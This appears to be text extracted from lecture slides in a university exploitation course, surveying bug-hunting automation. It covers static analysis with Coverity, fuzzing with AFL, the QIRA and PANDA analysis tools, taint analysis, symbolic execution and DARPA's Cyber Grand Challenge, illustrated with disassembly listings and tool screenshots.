                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

This Course

- You spent hours looking for bugs
- You spent hours reversing in IDA
- You spent hours debugging with GDB
- You spent hours writing python

This Course

- You spent hours looking for bugs
- You spent hours reversing in IDA
- You spent hours debugging with GDB
- You spent hours writing python

Bug Hunting

- Looking for bugs with or without source is the most time consuming part of the process

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                cmp     [ebp+arg_0], esi
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Bug Hunting

- Looking for bugs with or without source is the most time consuming part of the process
- How can we find these bugs faster?

Bug Hunting

- Looking for bugs with or without source is the most time consuming part of the process
- How can we find these bugs faster?
  - Automation

Static Code Analyzers

- Source code analyzers can help find bugs statically, but they can also miss a lot
  - Very hard to detect many real UAF's statically

Static Code Analyzers

- Source code analyzers can help find bugs statically, but they can also miss a lot
  - Very hard to detect many real UAF's statically
- Coverity is popular with the kids nowadays
  - integrates straight with GitHub

Coverity

CID	Type	Status	First Detected	Owner	Classification	Severity	Acti
1090068	Non-virtual destructor	New	09/18/13	Unassigne	Unclassified	Unspecified	
1090040	Uninitialized scalar variable	New	09/18/13	Unassigne	Unclassified	Unspecified	
1088855	Resource leak	New	09/18/13	Unassigne	Unclassified	Unspecified	
1088854	Missing return statement	New	09/18/13	Unassigne	Unclassified	Unspecified	
1060912	Uninitialized scalar variable	New	08/02/13	Unassigne	Unclassified	Unspecified	
1046399	Out-of-bounds access	New	07/06/13	Unassigne	Unclassified	Unspecified	
1046392	Resource leak in object	New	07/06/13	Unassigne	Unclassified	Unspecified	
1046385	Out-of-bounds access	New	07/06/13	Unassigne	Unclassified	Unspecified	
1046371	Resource leak in object	New	07/06/13	Unassigne	Unclassified	Unspecified	

1 of 29 issues selected

Page 1 of 1

Show /var/lib/jenkins/jobs/GNURadio-master/workspace/gnuradio/gr-digital/lib/constellation.cc

```
595     if(sector < 0)
596       sector += n_sectors;
597     return sector;
598   }
599
600   unsigned int
601   constellation_psk::calc_sector_value(unsigned int sector)
602   {
603     float phase = sector * M_TWOPI / n_sectors;
604     gr_complex sector_center = gr_complex(cos(phase), sin(phase));
```

1. **address_of:** Taking address with "&sector_center" yields a singleton pointer.

CID 1046399 (#1 of 1): Out-of-bounds access (ARRAY_VS_SINGLETON)

2. **callee_ptr_arith:** Passing "&sector_center" to function "gr::digital::constellation::get_closest_point(gr_complex const *)" which uses it as an array. This might corrupt or misinterpret adjacent memory locations.[show details]

```
605     unsigned int closest_point = get_closest_point(&sector_center);
606     return closest_point;
607   }
608
609
610   /*****************************************************************/
611
612
```

1046399 Out-of-bounds access

Memory not owned by this buffer will be accessed, causing memory corruption or incorrect computations.

In gr::digital::constellation_psk::calc_sector_value(unsigned int): Access of memory past the end of a memory buffer (CWE-119)

Triage

Classification: Unclassified

Severity: Unspecified

Action: Undecided

Reference: Type attribute text

Owner: Unassigned

Enter comments (See the History section below for previous comments)

Apply + Next | Apply

Projects and Streams

History

Occurrences

1: GNURadio

Events contributing to defect:

1	address_of	constellation.cc:605
2	callee_ptr_arith	constellation.cc:605
2.1	callee_ptr_arith	constellation.cc:122
2.1.2	ptr_arith	constellation.cc:110

Static Code Analyzers

- Source code analyzers can help find bugs statically, but they can also miss a lot
  - Very hard to detect many real UAF's statically
- Coverity is popular with the kids nowadays
  - integrates straight with GitHub
- Tons of good options for C/C++ Code
  - http://spinroot.com/static/

Fuzzing

- Fuzzing – The act of mangling data and throwing it at a target application to see if it mishandles it in some fashion

- Fuzzing has probably been the source of over 95% of the bugs from the past 10 years
  - The fuzzing era is starting to wind down

Fuzzing

- Remember these labs?
  - 7C
  - 7A
  - 9C
  - 9A
  - …
- Since the scope of the labs is so small, it would have been easy to fuzz them

Instant Bugs

128.213.48.61 - PuTTY

```
  1  [||||||||||||||||     57.4%]   7  [||||||||||||||||     59.5%]   13 [||||||||||||||||     54.7%]   19 [||||||||||||||||||100.0%]
  2  [||||||||||||||||||   69.1%]   8  [||||||||||||||||||   69.6%]   14 [||||||||||||||||     64.6%]   20 [||||||||||||      47.4%]
  3  [||||||||||||||||||   71.9%]   9  [||||||||||||||||||   69.4%]   15 [||||||||||||||||||  70.9%]   21 [||||||||||||||||||  71.2%]
  4  [||||||||||||||||||   68.7%]   10 [||||||||||||||||||72.5%]   16 [||||||||||||||||||  70.4%]   22 [||||||||||||||||||72.2%]
  5  [||||||||||||||||||   70.9%]   11 [||||||||||||||||     61.8%]   17 [||||||||||||||||     62.2%]   23 [||||||||||||||||||  70.5%]
  6  [||||||||||||||||||   67.1%]   12 [||||||||||||||||     65.8%]   18 [||||||||||||||||||  68.2%]   24 [||||||||||||||||||  69.2%]
  Mem[||||||||                                        365/7982MB]   Tasks: 58, 6 thr; 9 running
  Swp[                                                  0/8191MB]   Load average: 19.43 9.00 3.60
                                                                    Uptime: 1 day, 03:03:33

  PID USER      PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command
 4261 rpisec     20   0 22596  5296  3316 S  0.0  0.1  0:00.05  │  │  └─ -bash
 5990 rpisec     20   0 26416  4296  2952 R  2.0  0.1  0:03.08  │  │     └─ htop
14167 root       20   0  103M  6364  5364 S  0.0  0.1  0:00.18  │  └─ sshd: rpisec [priv]
15984 rpisec     20   0  103M  4136  3104 S  0.0  0.1  0:10.96  │     └─ sshd: rpisec@pts/2
15985 rpisec     20   0 22672  5480  3376 S  0.0  0.1  0:00.26  │        └─ -bash
14522 rpisec     20   0  253M 11156  6384 S 52.4  0.1  0:44.50  │           ├─ python grindr.py ./testcases/lab7A
14549 rpisec     20   0  253M 11156  6384 R 25.2  0.1  0:21.58  │           │  ├─ python grindr.py ./testcases/lab7A
14548 rpisec     20   0  253M 11156  6384 S 13.9  0.1  0:11.60  │           │  ├─ python grindr.py ./testcases/lab7A
14547 rpisec     20   0  253M 11156  6384 S  0.0  0.1  0:00.25  │           │  ├─ python grindr.py ./testcases/lab7A
14546 rpisec     20   0 39644  8248  3476 R 29.2  0.1  0:28.31  │           │  ├─ python grindr.py ./testcases/lab7A
14545 rpisec     20   0 39660  8272  3476 S 29.8  0.1  0:28.83  │           │  ├─ python grindr.py ./testcases/lab7A
14544 rpisec     20   0 39872  8500  3476 S 29.8  0.1  0:28.03  │           │  ├─ python grindr.py ./testcases/lab7A
14543 rpisec     20   0 39872  8636  3476 R 29.2  0.1  0:28.56  │           │  ├─ python grindr.py ./testcases/lab7A
14542 rpisec     20   0 39640  8268  3476 S 29.2  0.1  0:28.82  │           │  ├─ python grindr.py ./testcases/lab7A
14541 rpisec     20   0 39864  8496  3476 S 29.2  0.1  0:27.06  │           │  ├─ python grindr.py ./testcases/lab7A
14540 rpisec     20   0 39868  8600  3476 S 28.5  0.1  0:26.96  │           │  ├─ python grindr.py ./testcases/lab7A
14539 rpisec     20   0 39872  8616  3476 S 29.8  0.1  0:29.12  │           │  ├─ python grindr.py ./testcases/lab7A
14538 rpisec     20   0 39860  8644  3476 S 27.9  0.1  0:27.51  │           │  ├─ python grindr.py ./testcases/lab7A
14537 rpisec     20   0 43532 13136  3476 S 30.5  0.2  0:29.94  │           │  ├─ python grindr.py ./testcases/lab7A
14536 rpisec     20   0 39864  8620  3476 S 28.5  0.1  0:28.26  │           │  ├─ python grindr.py ./testcases/lab7A
14535 rpisec     20   0 39864  8624  3476 S 29.2  0.1  0:28.33  │           │  ├─ python grindr.py ./testcases/lab7A
14534 rpisec     20   0 39864  8632  3476 R 30.5  0.1  0:27.10  │           │  ├─ python grindr.py ./testcases/lab7A
14533 rpisec     20   0 39868  8608  3476 S 29.2  0.1  0:27.28  │           │  ├─ python grindr.py ./testcases/lab7A
14532 rpisec     20   0 39860  8596  3476 S 27.9  0.1  0:27.73  │           │  ├─ python grindr.py ./testcases/lab7A
14531 rpisec     20   0 39856  8464  3476 S 30.5  0.1  0:28.33  │           │  ├─ python grindr.py ./testcases/lab7A
14530 rpisec     20   0 39856  8588  3476 S 29.8  0.1  0:28.78  │           │  ├─ python grindr.py ./testcases/lab7A
14529 rpisec     20   0 39860  8580  3476 S 29.8  0.1  0:27.75  │           │  ├─ python grindr.py ./testcases/lab7A
14528 rpisec     20   0 39860  8592  3476 S 28.5  0.1  0:27.12  │           │  ├─ python grindr.py ./testcases/lab7A
14527 rpisec     20   0 39856  8448  3476 S 29.2  0.1  0:29.35  │           │  ├─ python grindr.py ./testcases/lab7A
14526 rpisec     20   0 39632  8216  3476 S 29.2  0.1  0:28.51  │           │  ├─ python grindr.py ./testcases/lab7A
14525 rpisec     20   0 39856  8572  3468 S 27.9  0.1  0:27.31  │           │  ├─ python grindr.py ./testcases/lab7A
14524 rpisec     20   0 39852  8588  3476 R 30.5  0.1  0:27.10  │           │  ├─ python grindr.py ./testcases/lab7A
14523 rpisec     20   0 39856  8568  3468 R 29.2  0.1  0:28.76  │           │  └─ python grindr.py ./testcases/lab7A
14521 rpisec     20   0 49932  7876  5228 T  0.0  0.1  0:00.13  │           └─ vim grindr.py
 1257 root       20   0 15824  2012  1860 S  0.0  0.0  0:00.00  ├─ /sbin/getty -8 38400 tty6
 1255 root       20   0 15824  2108  1944 S  0.0  0.0  0:00.00  ├─ /sbin/getty -8 38400 tty3
F1Help  F2Setup F3SearchF4FilterF5Tree  F6SortByF7Nice -F8Nice +F9Kill  F10Quit
```

American Fuzzy Lop (AFL)

- A ‘security-oriented’ fuzzer that inserts and utilizes instrumentation that it inserts at compile time
  - Requires source code to be super effective

American Fuzzy Lop (AFL)

```
                american fuzzy lop 1.74b (readelf)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 8 min, 24 sec       │  cycles done : 0      │
│   last new path : 0 days, 0 hrs, 1 min, 59 sec       │  total paths : 812    │
│ last uniq crash : 0 days, 0 hrs, 3 min, 17 sec       │ uniq crashes : 8      │
│  last uniq hang : 0 days, 0 hrs, 3 min, 23 sec       │   uniq hangs : 10     │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 0 (0.00%)         │    map density : 3158 (4.82%)          │
│ paths timed out : 0 (0.00%)         │ count coverage : 2.56 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : arith 8/8             │ favored paths : 1 (0.12%)              │
│ stage execs : 295k/326k (90.31%)    │  new edges on : 318 (39.16%)           │
│ total execs : 552k                  │ total crashes : 63 (8 unique)          │
│  exec speed : 1114/sec              │   total hangs : 191 (10 unique)        │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 447/75.5k, 59/75.5k, 59/75.5k         │    levels : 2          │
│  byte flips : 7/9436, 0/5858, 6/5950                │   pending : 812        │
│ arithmetics : 0/0, 0/0, 0/0                         │  pend fav : 1          │
│  known ints : 0/0, 0/0, 0/0                         │ own finds : 811        │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 0/0, 0/0                              │  variable : 0          │
│        trim : 0.00%/1166, 38.39%                    ├────────────────────────┘
└─────────────────────────────────────────────────────┘          [cpu: 15%]
```

American Fuzzy Lop (AFL)

- A ‘security-oriented’ fuzzer that inserts and utilizes instrumentation that it inserts at compile time
  - Requires target source code to be super effective
- Great for file format fuzzing!
  - Generally not that useful for CTF fuzzing :/
- http://lcamtuf.coredump.cx/afl/

Fundamentals of Modern Bugs

- As the bugs get more refined and complex, fuzzing will only take us so far

Fundamentals of Modern Bugs

- As the bugs get more refined and complex, fuzzing will only take us so far
- Many modern bugs have to be ‘forced’ by requiring very specific conditions
  - like some sort of crazy edge cases

QIRA

- A ‘timeless debugger’ – By GeoHot
  - Observe a binary at any point of its execution state for a given input
  - You can move forwards and backwards in time

QIRA

qira

127.0.0.1:3002

90 | 0 | 0x8048446

```
 82        0x804833b jmp 0x8048310
 83        0x8048310 push DWORD PTR ds:0x8049ff8
 84        0x8048316 jmp DWORD PTR ds:0x8049ffc
 85       0x8048438 mov DWORD PTR [esp+0x1c],0x0
 86       0x8048440 jmp 0x8048463
 87       0x8048463 cmp DWORD PTR [esp+0x1c],0x4
 88       0x8048468 jle 0x8048442
 89       0x8048442 mov eax,DWORD PTR [esp+0x1c]
 90       0x8048446 mov DWORD PTR [esp],eax
 91       0x8048449 call 0x8048414
 92        0x8048414 push ebp
 93        0x8048415 mov ebp,esp
 94        0x8048417 add DWORD PTR [ebp+0x8],0x3
 95        0x804841b shl DWORD PTR [ebp+0x8],1
 96        0x804841e mov eax,DWORD PTR [ebp+0x8]
 97        0x8048421 pop ebp
 98        0x8048422 ret
 99       0x804844e mov DWORD PTR [esp+0x4],eax
```

EAX: 0x0	ECX: 0xffffffff	EDX: 0xf67b58b8
EBX: 0xf67b3ff4	ESP: 0xf6ffef80	EBP: 0xf6ffefa8
ESI: 0x0	EDI: 0x0	EIP: 0x8048446

0xf6ffef80 <-- 0x0

```
0       munmap(0xf67b8000,132830) = 0
84      fstat64(1,0xf6ffee30) = 0
84      mmap2(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0)
84      write(1,0xf660b000,12) = 12
106     write(1,0xf660b000,2) = 2
123     write(1,0xf660b000,2) = 2
140     write(1,0xf660b000,3) = 3
157     write(1,0xf660b000,3) = 3
174     write(1,0xf660b000,3) = 3
206     exit_group(3)
```

QIRA

- A ‘timeless debugger’ – By GeoHot
  - Observe a binary at any point of its execution state for a given input
  - You can move forwards and backwards in time
- Super basic taint sort of functionality
  - Helps visualize r/w of specific memory addresses
- http://qira.me/

PANDA

- An ‘open-source Platform for Architecture-Neutral Dynamic Analysis’ – By MITLL

PANDA

Reverse
Engineering
with PANDA
Brendan Dolan-Gavitt
Columbia University
Josh Hodosh, Patrick
Hulin, Tim Leek, and
Ryan Whelan
MIT Lincoln Lab

PANDA

- An ‘open-source Platform for Architecture-Neutral Dynamic Analysis’ – By MITLL
- Built on top of QEMU, allows instrumentation, analysis, and replay of an entire system

PANDA

PANDA Model

PANDA

- An ‘open-source Platform for Architecture-Neutral Dynamic Analysis’ – By MITLL
- Built on top of QEMU, allows instrumentation, analysis, and replay of an entire system
- Awesome plugin infrastructure
  - Utilizes LLVM Intermediate Representation to make one size fits all (CPU’s) analysis plugins
- https://github.com/moyix/panda

Advanced Concepts Today

- Taint Analysis
  - Tracing the impact of user input throughout the binary, and how it influences execution
  - PANDA, QIRA
- Symbolic Execution + SAT/SMT Solving
  - Proving that specific conditions can exist in execution to manifest difficult bugs
  - Z3, SMT-LIB
- Machine Learning

Lecture Overview

- Security
  - Security Today
  - Security Tomorrow
- Exploitation
  - Exploitation Today
  - Exploitation Tomorrow

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

DARPA's Cyber Grand Challenge

DARPA's Cyber Grand Challenge

https://www.youtube.com/watch?v=OVV_k73z3E0

About CGC

- A challenge set forth by DARPA
- Can we develop a completely autonomous system that is capable of…
  - finding vulnerabilities (whitebox and blackbox)
  - patching said vulnerabilities
  - writing exploits for said vulnerabilities
- http://www.darpa.mil/cybergrandchallenge/

Some CGC Competitors

Raytheon

Exploitation of Tomorrow

- The ‘Cyber Reasoning Systems’ being developed by CGC competitors are quickly pushing the envelope of bug discovery and exploitation

Exploitation of Tomorrow

- The ‘Cyber Reasoning Systems’ being developed by CGC competitors are quickly pushing the envelope of bug discovery and exploitation

- The technology behind them is likely to be some smart fuzzers guided by taint analysis, constraint solvers, and more